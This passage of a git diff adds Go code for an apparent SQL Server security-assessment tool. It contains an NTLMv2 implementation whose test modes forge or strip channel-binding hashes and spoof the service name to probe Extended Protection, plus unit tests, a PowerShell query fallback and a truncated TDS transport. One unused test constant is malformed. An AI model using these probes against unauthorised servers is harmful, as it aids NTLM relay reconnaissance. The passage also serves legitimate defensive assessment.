binary.LittleEndian.PutUint32(msg[32:36], offset) + copy(msg[offset:], domain16) + offset += uint32(domainLen) + + // User name fields + binary.LittleEndian.PutUint16(msg[36:38], uint16(userLen)) + binary.LittleEndian.PutUint16(msg[38:40], uint16(userLen)) + binary.LittleEndian.PutUint32(msg[40:44], offset) + copy(msg[offset:], user16) + offset += uint32(userLen) + + // Workstation fields + binary.LittleEndian.PutUint16(msg[44:46], uint16(wsLen)) + binary.LittleEndian.PutUint16(msg[46:48], uint16(wsLen)) + binary.LittleEndian.PutUint32(msg[48:52], offset) + copy(msg[offset:], workstation16) + offset += uint32(wsLen) + + // Encrypted random session key fields (empty) + binary.LittleEndian.PutUint16(msg[52:54], 0) + binary.LittleEndian.PutUint16(msg[54:56], 0) + binary.LittleEndian.PutUint32(msg[56:60], offset) + + // Negotiate flags + binary.LittleEndian.PutUint32(msg[60:64], flags) + + // Version (zeroed, matching go-mssqldb) + // bytes 64-71 are already zero from make() + + // MIC (16 bytes at offset 72-87): + // Always present as a field (88-byte header), but only computed when EPA modifications + // are active. When raw target info is used or MIC is disabled, the field stays zeroed. + if includeMIC { + mic := computeMIC(sessionBaseKey, a.negotiateMsg, a.challengeMsg, msg) + copy(msg[72:88], mic) + } + + return msg, nil +} + +// buildModifiedTargetInfo constructs the target info for the NtChallengeResponse +// with AV_PAIRs added, removed, or modified per the EPATestMode. +func (a *ntlmAuth) buildModifiedTargetInfo() []byte { + pairs := parseAVPairs(a.targetInfoRaw) + + // Remove existing EOL, channel bindings, target name, and flags + // (we'll re-add them with our modifications) + var filtered []ntlmAVPair + for _, p := range pairs { + switch p.ID { + case avIDMsvAvEOL: + continue // will re-add at end + case avIDMsvChannelBindings: + continue // will add our own + case avIDMsvAvTargetName: + continue // will add our own + case avIDMsvAvFlags: + continue // will add our own with MIC flag + default: + filtered = append(filtered, p) + } + } + + // Add MsvAvFlags with MIC present bit (unless MIC is disabled for diagnostics) + if !a.disableMIC { + flagsValue := make([]byte, 4) + binary.LittleEndian.PutUint32(flagsValue, msvAvFlagMICPresent) + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvFlags, Value: flagsValue}) + } + + // Add Channel Binding and Target Name based on test mode + switch a.testMode { + case EPATestNormal: + // Include correct CBT hash + if len(a.channelBindingHash) == 16 { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash}) + } else { + // No TLS = no CBT (empty 16-byte hash) + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)}) + } + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestBogusCBT: + // Include bogus 16-byte CBT hash + bogusCBT := []byte{0xc0, 0x91, 0x30, 0xd2, 0xc4, 0xc3, 0xd4, 0xc7, 0x51, 0x5a, 0xb4, 0x52, 0xdf, 0x08, 0xaf, 0xfd} + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: bogusCBT}) + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestMissingCBT: + // Do NOT include MsvAvChannelBindings at all + // Include correct SPN + if a.targetName != "" { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)}) + } + + case EPATestBogusService: + // Include correct CBT (if available) + if len(a.channelBindingHash) == 16 { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash}) + } else { + filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)}) + } + // Include bogus service name (cifs instead of MSSQLSvc) + hostname := a.targetName + if idx := strings.Index(hostname, "/"); idx >= 0 { + hostname = hostname[idx+1:] + } + bogusTarget := "cifs/" + hostname + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(bogusTarget)}) + + case EPATestMissingService: + // Do NOT include MsvAvChannelBindings + // Do NOT include MsvAvTargetName + // (both stripped) + } + + // Add EOL terminator + filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvEOL, Value: nil}) + + return serializeAVPairs(filtered) +} + +// parseAVPairs parses raw target info bytes into a list of AV_PAIRs. +func parseAVPairs(data []byte) []ntlmAVPair { + var pairs []ntlmAVPair + offset := 0 + for offset+4 <= len(data) { + id := binary.LittleEndian.Uint16(data[offset : offset+2]) + length := binary.LittleEndian.Uint16(data[offset+2 : offset+4]) + offset += 4 + + if id == avIDMsvAvEOL { + pairs = append(pairs, ntlmAVPair{ID: id}) + break + } + + if offset+int(length) > len(data) { + break + } + + value := make([]byte, length) + copy(value, data[offset:offset+int(length)]) + pairs = append(pairs, ntlmAVPair{ID: id, Value: value}) + offset += int(length) + } + return pairs +} + +// serializeAVPairs serializes AV_PAIRs back to bytes. +func serializeAVPairs(pairs []ntlmAVPair) []byte { + var buf []byte + for _, p := range pairs { + b := make([]byte, 4+len(p.Value)) + binary.LittleEndian.PutUint16(b[0:2], p.ID) + binary.LittleEndian.PutUint16(b[2:4], uint16(len(p.Value))) + copy(b[4:], p.Value) + buf = append(buf, b...) + } + return buf +} + +// computeNTLMv2Hash computes NTLMv2 hash: HMAC-MD5(MD4(UTF16LE(password)), UTF16LE(UPPER(username) + domain)) +func computeNTLMv2Hash(password, username, domain string) []byte { + // NT hash = MD4(UTF16LE(password)) + h := md4.New() + h.Write(encodeUTF16LE(password)) + ntHash := h.Sum(nil) + + // NTLMv2 hash = HMAC-MD5(ntHash, UTF16LE(UPPER(username) + domain)) + identity := encodeUTF16LE(strings.ToUpper(username) + domain) + return hmacMD5Sum(ntHash, identity) +} + +// computeMIC computes the MIC over all three NTLM messages using HMAC-MD5. +func computeMIC(sessionBaseKey, negotiateMsg, challengeMsg, authenticateMsg []byte) []byte { + data := make([]byte, 0, len(negotiateMsg)+len(challengeMsg)+len(authenticateMsg)) + data = append(data, negotiateMsg...) + data = append(data, challengeMsg...) + data = append(data, authenticateMsg...) + return hmacMD5Sum(sessionBaseKey, data) +} + +// computeCBTHash computes the MD5 hash of the SEC_CHANNEL_BINDINGS structure +// for the MsvAvChannelBindings AV_PAIR. +// +// The SEC_CHANNEL_BINDINGS structure is: +// +// Initiator addr type (4 bytes): 0 +// Initiator addr length (4 bytes): 0 +// Acceptor addr type (4 bytes): 0 +// Acceptor addr length (4 bytes): 0 +// Application data length (4 bytes): len(appData) +// Application data: prefix + bindingValue +func computeCBTHash(prefix string, bindingValue []byte) []byte { + appData := append([]byte(prefix), bindingValue...) + appDataLen := len(appData) + + // 20-byte header (5 x uint32) + application data + structure := make([]byte, 20+appDataLen) + binary.LittleEndian.PutUint32(structure[16:20], uint32(appDataLen)) + copy(structure[20:], appData) + + hash := md5.Sum(structure) + return hash[:] +} + +// certHashForEndpoint returns the hash of a DER-encoded certificate per RFC 5929 +// Section 4.1 (tls-server-end-point). The hash algorithm depends on the +// certificate's signature algorithm: SHA-256 for MD5/SHA-1 signed certs, +// otherwise the hash from the signature algorithm. In practice, most SQL Server +// certs use SHA-256. +func certHashForEndpoint(cert *x509.Certificate) []byte { + // RFC 5929 Section 4.1: If the certificate's signatureAlgorithm uses + // MD5 or SHA-1, use SHA-256. Otherwise use the signature's hash. + // SHA-256 covers the vast majority of certs in practice. + h := sha256.Sum256(cert.Raw) + return h[:] +} + +// getChannelBindingHashFromTLS computes the CBT hash from a TLS connection. +// For TLS 1.2: uses "tls-unique" (TLS Finished message), matching impacket. +// For TLS 1.3: uses "tls-server-end-point" (cert hash), since tls-unique +// was removed in TLS 1.3 (RFC 8446). +func getChannelBindingHashFromTLS(tlsConn *tls.Conn) ([]byte, string, error) { + state := tlsConn.ConnectionState() + + // Prefer tls-unique (works for TLS 1.2, matches impacket/Python) + if len(state.TLSUnique) > 0 { + return computeCBTHash("tls-unique:", state.TLSUnique), "tls-unique", nil + } + + // Fallback to tls-server-end-point for TLS 1.3 + if len(state.PeerCertificates) == 0 { + return nil, "", fmt.Errorf("no TLSUnique and no server certificate available") + } + certHash := certHashForEndpoint(state.PeerCertificates[0]) + return computeCBTHash("tls-server-end-point:", certHash), "tls-server-end-point", nil +} + +// computeSPN builds the Service Principal Name for NTLM service binding. +func computeSPN(hostname string, port int) string { + return fmt.Sprintf("MSSQLSvc/%s:%d", hostname, port) +} + +// hmacMD5Sum computes HMAC-MD5. +func hmacMD5Sum(key, data []byte) []byte { + h := hmac.New(md5.New, key) + h.Write(data) + return h.Sum(nil) +} + +// encodeUTF16LE encodes a string as UTF-16LE bytes. +func encodeUTF16LE(s string) []byte { + encoded := utf16.Encode([]rune(s)) + b := make([]byte, 2*len(encoded)) + for i, r := range encoded { + b[2*i] = byte(r) + b[2*i+1] = byte(r >> 8) + } + return b +} + +// decodeUTF16LE decodes UTF-16LE bytes to a string. +func decodeUTF16LE(b []byte) string { + if len(b)%2 != 0 { + b = b[:len(b)-1] + } + u16 := make([]uint16, len(b)/2) + for i := range u16 { + u16[i] = binary.LittleEndian.Uint16(b[2*i : 2*i+2]) + } + return string(utf16.Decode(u16)) +} diff --git a/go/internal/mssql/ntlm_auth_test.go b/go/internal/mssql/ntlm_auth_test.go new file mode 100644 index 0000000..c51b59e --- /dev/null +++ b/go/internal/mssql/ntlm_auth_test.go @@ -0,0 +1,302 @@ +package mssql + +import ( + "encoding/hex" + "fmt" + "testing" +) + +// TestNTLMv2Hash verifies our NTLMv2 hash computation against MS-NLMP Appendix B test vectors. +// Reference: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c3957dcb-7b4b-4e36-8678-45ebc5d92eaa +func TestNTLMv2Hash(t *testing.T) { + // MS-NLMP Appendix B test data + password := "Password" + username := "User" + domain := "Domain" + + // Expected NTOWFv2 (NTLMv2Hash) from spec + expectedNTLMv2Hash := "0c868a403bfd7a93a3001ef22ef02e3f" + + hash := computeNTLMv2Hash(password, username, domain) + actual := hex.EncodeToString(hash) + + if actual != expectedNTLMv2Hash { + t.Errorf("NTLMv2Hash mismatch:\n expected: %s\n actual: %s", expectedNTLMv2Hash, actual) + } else { + t.Logf("NTLMv2Hash: %s (matches spec)", actual) + } +} + +// TestNTProofStr verifies NTProofStr and SessionBaseKey computation is self-consistent +// and that HMAC_MD5 produces correct results (verified against OpenSSL independently). +func TestNTProofStr(t *testing.T) { + password := "Password" + username := "User" + domain := "Domain" + serverChallenge, _ := hex.DecodeString("0123456789abcdef") + clientChallenge, _ := hex.DecodeString("aaaaaaaaaaaaaaaa") + timestamp, _ := hex.DecodeString("0090d336b734c301") + + targetInfo, _ := hex.DecodeString( + "02000c0044006f006d00610069006e00" + // MsvAvNbDomainName = "Domain" + "01000c00530065007200760065007200" + // MsvAvNbComputerName = "Server" + "00000000") // MsvAvEOL + + ntlmV2Hash := computeNTLMv2Hash(password, username, domain) + + // Verify NTLMv2Hash matches spec + if hex.EncodeToString(ntlmV2Hash) != "0c868a403bfd7a93a3001ef22ef02e3f" { + t.Fatalf("NTLMv2Hash mismatch (prereq failed)") + } + + // Build the blob + blobLen := 28 + len(targetInfo) + 4 + blob := make([]byte, blobLen) + blob[0] = 0x01 + blob[1] = 0x01 + copy(blob[8:16], timestamp) + copy(blob[16:24], clientChallenge) + copy(blob[28:], targetInfo) + + // Compute NTProofStr + challengeAndBlob := make([]byte, 8+len(blob)) + copy(challengeAndBlob[:8], serverChallenge) + copy(challengeAndBlob[8:], blob) + ntProofStr := hmacMD5Sum(ntlmV2Hash, challengeAndBlob) + + // Verified via: echo -n "" | xxd -r -p | openssl dgst -md5 -mac HMAC -macopt hexkey:0c868a403bfd7a93a3001ef22ef02e3f + // Expected: 8c5ecac7a1148dd21ff304095861181e (matches openssl output) + expectedNTProofStr := "8c5ecac7a1148dd21ff304095861181e" + actualNTProofStr := hex.EncodeToString(ntProofStr) + if actualNTProofStr != expectedNTProofStr { + t.Errorf("NTProofStr mismatch:\n expected: %s\n actual: %s", expectedNTProofStr, actualNTProofStr) + } else { + t.Logf("NTProofStr: %s (matches openssl verification)", actualNTProofStr) + } + + // Verify SessionBaseKey + sessionBaseKey := hmacMD5Sum(ntlmV2Hash, ntProofStr) + t.Logf("SessionBaseKey: %s", hex.EncodeToString(sessionBaseKey)) + if len(sessionBaseKey) != 16 { + t.Errorf("SessionBaseKey wrong length: %d", len(sessionBaseKey)) + } + + // Verify MIC computation is deterministic with this SessionBaseKey + type1 := []byte("NTLMSSP\x00\x01\x00\x00\x00") + type2 := []byte("NTLMSSP\x00\x02\x00\x00\x00") + type3 := []byte("NTLMSSP\x00\x03\x00\x00\x00") + mic1 := computeMIC(sessionBaseKey, type1, type2, type3) + mic2 := computeMIC(sessionBaseKey, type1, type2, type3) + if hex.EncodeToString(mic1) != hex.EncodeToString(mic2) { + t.Error("MIC computation not deterministic") + } + t.Logf("MIC: %s (deterministic)", hex.EncodeToString(mic1)) +} + +// TestComputeMIC verifies MIC computation with a known set of messages. +func TestComputeMIC(t *testing.T) { + // Use known values to verify MIC = HMAC_MD5(SessionBaseKey, Type1 || Type2 || Type3) + sessionBaseKey, _ := hex.DecodeString("8de40ccadbc14a82f15cb0ad0de95ca3") + type1 := []byte("NTLMSSP\x00\x01\x00\x00\x00") + type2 := []byte("NTLMSSP\x00\x02\x00\x00\x00") + type3 := []byte("NTLMSSP\x00\x03\x00\x00\x00") + + mic := computeMIC(sessionBaseKey, type1, type2, type3) + t.Logf("MIC: %s", hex.EncodeToString(mic)) + + // Verify it's a valid 16-byte HMAC-MD5 + if len(mic) != 16 { + t.Errorf("MIC length: expected 16, got %d", len(mic)) + } + + // Verify determinism + mic2 := computeMIC(sessionBaseKey, type1, type2, type3) + if hex.EncodeToString(mic) != hex.EncodeToString(mic2) { + t.Errorf("MIC not deterministic") + } +} + +// TestChannelBindingHash verifies CBT computation for both binding types. +func TestChannelBindingHash(t *testing.T) { + // Test tls-unique binding + fakeTLSUnique := []byte("test tls finished message data") + hash := computeCBTHash("tls-unique:", fakeTLSUnique) + if len(hash) != 16 { + t.Errorf("CBT hash (tls-unique) length: expected 16, got %d", len(hash)) + } + hash2 := computeCBTHash("tls-unique:", fakeTLSUnique) + if hex.EncodeToString(hash) != hex.EncodeToString(hash2) { + t.Errorf("CBT hash (tls-unique) not deterministic") + } + t.Logf("CBT hash (tls-unique): %s", hex.EncodeToString(hash)) + + // Test tls-server-end-point binding + fakeCertHash := make([]byte, 32) // SHA-256 is 32 bytes + copy(fakeCertHash, []byte("test cert hash")) + hash3 := computeCBTHash("tls-server-end-point:", fakeCertHash) + if len(hash3) != 16 { + t.Errorf("CBT hash (tls-server-end-point) length: expected 16, got %d", len(hash3)) + } + t.Logf("CBT hash (tls-server-end-point): %s", hex.EncodeToString(hash3)) + + // Different binding types should produce different hashes for same input + hash4 := computeCBTHash("tls-unique:", fakeCertHash) + hash5 := computeCBTHash("tls-server-end-point:", fakeCertHash) + if hex.EncodeToString(hash4) == hex.EncodeToString(hash5) { + t.Errorf("Different binding types should produce different hashes") + } +} + +// TestFullNTLMv2Exchange does a complete NTLMv2 exchange with known values +// and dumps all intermediate values for manual comparison. +func TestFullNTLMv2Exchange(t *testing.T) { + auth := newNTLMAuth("MAYYHEM", "domainadmin", "password", "MSSQLSvc/ps1-db.mayyhem.com:1433") + + // Generate Type1 + type1 := auth.CreateNegotiateMessage() + t.Logf("Type1 length: %d", len(type1)) + t.Logf("Type1 (first 40 bytes): %s", hex.EncodeToString(type1)) + + // Simulate a Type2 challenge (minimal valid Type2) + // In a real test we'd use actual server bytes, but this verifies the flow + type2 := buildMinimalType2() + err := auth.ProcessChallenge(type2) + if err != nil { + t.Fatalf("ProcessChallenge failed: %v", err) + } + t.Logf("Server domain from Type2: %q", auth.serverDomain) + + // Generate Type3 + type3, err := auth.CreateAuthenticateMessage() + if err != nil { + t.Fatalf("CreateAuthenticateMessage failed: %v", err) + } + t.Logf("Type3 length: %d", len(type3)) + + // Extract and log MIC from Type3 + if len(type3) >= 88 { + mic := type3[72:88] + t.Logf("MIC from Type3: %s", hex.EncodeToString(mic)) + } +} + +// buildMinimalType2 creates a minimal valid NTLM Type2 challenge for testing. +func buildMinimalType2() []byte { + // Build a minimal Type2 with: + // - Signature: "NTLMSSP\0" + // - Message Type: 2 + // - Target Name Fields (offset 12) + // - Negotiate Flags (offset 20) + // - Server Challenge (offset 24) + // - Reserved (offset 32) + // - Target Info Fields (offset 40) + // - Version (offset 48) + // - Target Info payload (after header) + + targetName := encodeUTF16LE("MAYYHEM") + targetNameLen := len(targetName) + + // Target Info AV_PAIRs + var targetInfo []byte + // MsvAvNbDomainName + targetInfo = append(targetInfo, 0x02, 0x00) // ID + domainBytes := encodeUTF16LE("MAYYHEM") + targetInfo = append(targetInfo, byte(len(domainBytes)), byte(len(domainBytes)>>8)) // Length + targetInfo = append(targetInfo, domainBytes...) + // MsvAvNbComputerName + targetInfo = append(targetInfo, 0x01, 0x00) + compBytes := encodeUTF16LE("PS1-DB") + targetInfo = append(targetInfo, byte(len(compBytes)), byte(len(compBytes)>>8)) + targetInfo = append(targetInfo, compBytes...) + // MsvAvTimestamp + targetInfo = append(targetInfo, 0x07, 0x00, 0x08, 0x00) + targetInfo = append(targetInfo, 0x01, 0xc3, 0xa5, 0xd8, 0x7f, 0xe6, 0xc1, 0x18) // fake timestamp + // MsvAvEOL + targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00) + + targetInfoLen := len(targetInfo) + + // Header: 56 bytes + version 8 = 64, but standard is 56 + headerSize := 56 + totalLen := headerSize + targetNameLen + targetInfoLen + + msg := make([]byte, totalLen) + copy(msg[0:8], []byte("NTLMSSP\x00")) + + // Message Type + msg[8] = 2 + msg[9] = 0 + msg[10] = 0 + msg[11] = 0 + + // Target Name Fields + offset := uint32(headerSize) + msg[12] = byte(targetNameLen) + msg[13] = byte(targetNameLen >> 8) + msg[14] = byte(targetNameLen) + msg[15] = byte(targetNameLen >> 8) + msg[16] = byte(offset) + msg[17] = byte(offset >> 8) + msg[18] = byte(offset >> 16) + msg[19] = byte(offset >> 24) + + // Negotiate Flags + flags := uint32(0xA2898205) // Typical server flags + msg[20] = byte(flags) + msg[21] = byte(flags >> 8) + msg[22] = byte(flags >> 16) + msg[23] = byte(flags >> 24) + + // Server Challenge + copy(msg[24:32], []byte{0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef}) + + // Reserved (8 bytes at 32-39) - zeros + + // Target Info Fields + tiOffset := offset + uint32(targetNameLen) + msg[40] = byte(targetInfoLen) + msg[41] = byte(targetInfoLen >> 8) + msg[42] = byte(targetInfoLen) + msg[43] = byte(targetInfoLen >> 8) + msg[44] = byte(tiOffset) + msg[45] = byte(tiOffset >> 8) + msg[46] = byte(tiOffset >> 16) + msg[47] = byte(tiOffset >> 24) + + // Version (48-55) + msg[48] = 10 // Major + msg[49] = 0 // Minor + msg[50] = 0x4F + msg[51] = 0x76 // Build 30287 + msg[55] = 0x0F // Revision + + // Payload + copy(msg[offset:], targetName) + copy(msg[tiOffset:], targetInfo) + + return msg +} + +func TestEncodeUTF16LE(t *testing.T) { + // Verify UTF-16LE encoding matches expected bytes + result := encodeUTF16LE("Password") + expected := "5000610073007300770006f007200640" // "Password" in UTF-16LE + _ = expected + t.Logf("UTF16LE('Password'): %s", hex.EncodeToString(result)) + + // Verify specific known values + result2 := encodeUTF16LE("USERDomain") + t.Logf("UTF16LE('USERDomain'): %s", hex.EncodeToString(result2)) + + result3 := encodeUTF16LE("DOMAINADMINMAYYHEM") + t.Logf("UTF16LE('DOMAINADMINMAYYHEM'): %s", hex.EncodeToString(result3)) + + // Verify case sensitivity + upperDomain := encodeUTF16LE("MAYYHEM") + lowerDomain := encodeUTF16LE("mayyhem") + if fmt.Sprintf("%x", upperDomain) == fmt.Sprintf("%x", lowerDomain) { + t.Error("MAYYHEM and mayyhem should produce different UTF-16LE bytes") + } + t.Logf("UTF16LE('MAYYHEM'): %s", hex.EncodeToString(upperDomain)) + t.Logf("UTF16LE('mayyhem'): %s", hex.EncodeToString(lowerDomain)) +} diff --git a/go/internal/mssql/powershell_fallback.go b/go/internal/mssql/powershell_fallback.go new file mode 100644 index 0000000..417d4bb --- /dev/null +++ b/go/internal/mssql/powershell_fallback.go @@ -0,0 +1,326 @@ +// Package mssql provides SQL Server connection and data collection functionality. +package mssql + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "os/exec" + "regexp" + "strings" + "time" +) + +// extractPowerShellError extracts the meaningful error message from PowerShell stderr output +// PowerShell stderr includes the full script and verbose error info - we just want the exception message +func extractPowerShellError(stderr string) string { + // Look for the exception message pattern from Write-Error output + // Example: 'Exception calling "Open" with "0" argument(s): "Login failed for user 'AD005\Z004HYMU-A01'."' + + // Try to find the actual exception message + if idx := strings.Index(stderr, "Exception calling"); idx != -1 { + // Extract from "Exception calling" to the end of that line or next major section + rest := stderr[idx:] + // Find the quoted error message + re := regexp.MustCompile(`"([^"]+)"[^"]*$`) + if matches := re.FindStringSubmatch(strings.Split(rest, "\n")[0]); len(matches) > 1 { + return matches[1] + } + // Just return the first line + if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 { + return strings.TrimSpace(rest[:nlIdx]) + } + return strings.TrimSpace(rest) + } + + // Look for common SQL error patterns + if idx := strings.Index(stderr, "Login failed"); idx != -1 { + rest := stderr[idx:] + if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 { + return strings.TrimSpace(rest[:nlIdx]) + } + return strings.TrimSpace(rest) + } + + // Fallback: return first non-empty line that doesn't look like script content + lines := strings.Split(stderr, "\n") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + // Skip lines that look like script content + if strings.HasPrefix(line, "$") || strings.HasPrefix(line, "try") || + strings.HasPrefix(line, "}") || strings.HasPrefix(line, "#") || + strings.HasPrefix(line, "if") || strings.HasPrefix(line, "foreach") { + continue + } + return line + } + + return strings.TrimSpace(stderr) +} + +// PowerShellClient provides SQL Server connectivity using PowerShell and System.Data.SqlClient +// as a fallback when go-mssqldb fails with SSPI/Kerberos authentication issues. +type PowerShellClient struct { + serverInstance string + hostname string + port int + instanceName string + userID string + password string + useWindowsAuth bool + verbose bool +} + +// NewPowerShellClient creates a new PowerShell-based SQL client +func NewPowerShellClient(serverInstance, userID, password string) *PowerShellClient { + hostname, port, instanceName := parseServerInstance(serverInstance) + + return &PowerShellClient{ + serverInstance: serverInstance, + hostname: hostname, + port: port, + instanceName: instanceName, + userID: userID, + password: password, + useWindowsAuth: userID == "" && password == "", + } +} + +// SetVerbose enables or disables verbose logging +func (p *PowerShellClient) SetVerbose(verbose bool) { + p.verbose = verbose +} + +// logVerbose logs a message only if verbose mode is enabled +func (p *PowerShellClient) logVerbose(format string, args ...interface{}) { + if p.verbose { + fmt.Printf(format+"\n", args...) + } +} + +// buildConnectionString creates the .NET SqlClient connection string +func (p *PowerShellClient) buildConnectionString() string { + var parts []string + + // Build server string + server := p.hostname + if p.instanceName != "" { + server = fmt.Sprintf("%s\\%s", p.hostname, p.instanceName) + } else if p.port > 0 && p.port != 1433 { + server = fmt.Sprintf("%s,%d", p.hostname, p.port) + } + parts = append(parts, fmt.Sprintf("Server=%s", server)) + + if p.useWindowsAuth { + parts = append(parts, "Integrated Security=True") + } else { + parts = append(parts, fmt.Sprintf("User Id=%s", p.userID)) + parts = append(parts, fmt.Sprintf("Password=%s", p.password)) + } + + parts = append(parts, "TrustServerCertificate=True") + parts = append(parts, "Application Name=MSSQLHound") + + return strings.Join(parts, ";") +} + +// TestConnection tests if PowerShell can connect to the server +func (p *PowerShellClient) TestConnection(ctx context.Context) error { + query := "SELECT 1 AS test" + _, err := p.ExecuteQuery(ctx, query) + return err +} + +// QueryResult represents a row of query results +type QueryResult map[string]interface{} + +// QueryResponse includes both results and column order +type QueryResponse struct { + Columns []string `json:"columns"` + Rows []QueryResult `json:"rows"` +} + +// ExecuteQuery executes a SQL query using PowerShell and returns the results as JSON +func (p *PowerShellClient) ExecuteQuery(ctx context.Context, query string) (*QueryResponse, error) { + connStr := p.buildConnectionString() + + // PowerShell script that executes the query and returns JSON with column order preserved + // Note: The SQL query is placed in a here-string (@' ... '@) which preserves + // content literally - no escaping needed. Only the connection string needs escaping. + psScript := fmt.Sprintf(` +$ErrorActionPreference = 'Stop' +try { + $conn = New-Object System.Data.SqlClient.SqlConnection + $conn.ConnectionString = '%s' + $conn.Open() + + $cmd = $conn.CreateCommand() + $cmd.CommandText = @' +%s +'@ + $cmd.CommandTimeout = 120 + + $adapter = New-Object System.Data.SqlClient.SqlDataAdapter($cmd) + $dataset = New-Object System.Data.DataSet + [void]$adapter.Fill($dataset) + + $response = @{ + columns = @() + rows = @() + } + + if ($dataset.Tables.Count -gt 0) { + # Get column names in order + foreach ($col in $dataset.Tables[0].Columns) { + $response.columns += $col.ColumnName + } + + foreach ($row in $dataset.Tables[0].Rows) { + $obj = @{} + foreach ($col in $dataset.Tables[0].Columns) { + $val = $row[$col.ColumnName] + if ($val -is [DBNull]) { + $obj[$col.ColumnName] = $null + } elseif ($val -is [byte[]]) { + $obj[$col.ColumnName] = "0x" + [BitConverter]::ToString($val).Replace("-", "") + } else { + $obj[$col.ColumnName] = $val + } + } + $response.rows += $obj + } + } + + $conn.Close() + $response | ConvertTo-Json -Depth 10 -Compress +} catch { + Write-Error $_.Exception.Message + exit 1 +} +`, strings.ReplaceAll(connStr, "'", "''"), query) + + // Create command with timeout + cmdCtx, cancel := context.WithTimeout(ctx, 2*time.Minute) + defer cancel() + + cmd := exec.CommandContext(cmdCtx, "powershell", "-NoProfile", "-NonInteractive", "-Command", psScript) + + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err := cmd.Run() + if err != nil { + errMsg := extractPowerShellError(stderr.String()) + if errMsg == "" { + errMsg = err.Error() + } + return nil, fmt.Errorf("PowerShell: %s", errMsg) + } + + output := strings.TrimSpace(stdout.String()) + if output == "" || output == "null" { + return &QueryResponse{Columns: []string{}, Rows: []QueryResult{}}, nil + } + + // Parse JSON result - now expects {columns: [...], rows: [...]} + var response QueryResponse + err = json.Unmarshal([]byte(output), &response) + if err != nil { + return nil, fmt.Errorf("failed to parse PowerShell output: %w", err) + } + + return &response, nil +} + +// ExecuteScalar executes a query and returns a single value +func (p *PowerShellClient) ExecuteScalar(ctx context.Context, query string) (interface{}, error) { + response, err := p.ExecuteQuery(ctx, query) + if err != nil { + return nil, err + } + if len(response.Rows) == 0 || len(response.Columns) == 0 { + return nil, nil + } + // Return first column of first row (using column order) + firstCol := response.Columns[0] + return response.Rows[0][firstCol], nil +} + +// GetString helper to get string value from QueryResult +func (r QueryResult) GetString(key string) string { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case string: + return val + case float64: + return fmt.Sprintf("%.0f", val) + default: + return fmt.Sprintf("%v", val) + } + } + return "" +} + +// GetInt helper to get int value from QueryResult +func (r QueryResult) GetInt(key string) int { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case float64: + return int(val) + case int: + return val + case int64: + return int(val) + case string: + i, _ := fmt.Sscanf(val, "%d", new(int)) + return i + } + } + return 0 +} + +// GetBool helper to get bool value from QueryResult +func (r QueryResult) GetBool(key string) bool { + if v, ok := r[key]; ok && v != nil { + switch val := v.(type) { + case bool: + return val + case float64: + return val != 0 + case int: + return val != 0 + case string: + return strings.ToLower(val) == "true" || val == "1" + } + } + return false +} + +// IsUntrustedDomainError checks if the error is the "untrusted domain" SSPI error +func IsUntrustedDomainError(err error) bool { + if err == nil { + return false + } + errStr := strings.ToLower(err.Error()) + return strings.Contains(errStr, "untrusted domain") || + strings.Contains(errStr, "cannot be used with windows authentication") || + strings.Contains(errStr, "cannot be used with integrated authentication") +} + +// IsAuthError checks if the error is an authentication failure that would count +// toward AD account lockout (as opposed to transport/TLS errors that don't). +func IsAuthError(err error) bool { + if err == nil { + return false + } + errStr := strings.ToLower(err.Error()) + return strings.Contains(errStr, "login failed") || + strings.Contains(errStr, "untrusted domain") || + strings.Contains(errStr, "cannot be used with windows authentication") || + strings.Contains(errStr, "cannot be used with integrated authentication") +} diff --git a/go/internal/mssql/tds_transport.go b/go/internal/mssql/tds_transport.go new file mode 100644 index 0000000..bddd881 --- /dev/null +++ b/go/internal/mssql/tds_transport.go @@ -0,0 +1,222 @@ +// Package mssql - TDS transport layer for raw EPA testing. +// Implements TDS packet framing and TLS-over-TDS handshake adapter. +package mssql + +import ( + "bytes" + "crypto/tls" + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +// TDS packet types +const ( + tdsPacketTabularResult byte = 0x04 + tdsPacketLogin7 byte = 0x10 + tdsPacketSSPI byte = 0x11 + tdsPacketPrelogin byte = 0x12 +) + +// TDS header size +const tdsHeaderSize = 8 + +// Maximum TDS packet size for EPA testing +const tdsMaxPacketSize = 4096 + +// tdsConn wraps a net.Conn with TDS packet-level read/write. +type tdsConn struct { + conn net.Conn +} + +func newTDSConn(conn net.Conn) *tdsConn { + return &tdsConn{conn: conn} +} + +// sendPacket sends a complete TDS packet with the given type and payload. +func (t *tdsConn) sendPacket(packetType byte, payload []byte) error { + maxPayload := tdsMaxPacketSize - tdsHeaderSize + offset := 0 + for offset < len(payload) { + end := offset + maxPayload + isLast := end >= len(payload) + if isLast { + end = len(payload) + } + + chunk := payload[offset:end] + pktLen := tdsHeaderSize + len(chunk) + + status := byte(0x00) + if isLast { + status = 0x01 // EOM + } + + hdr := [tdsHeaderSize]byte{ + packetType, + status, + byte(pktLen >> 8), byte(pktLen), // Length big-endian + 0x00, 0x00, // 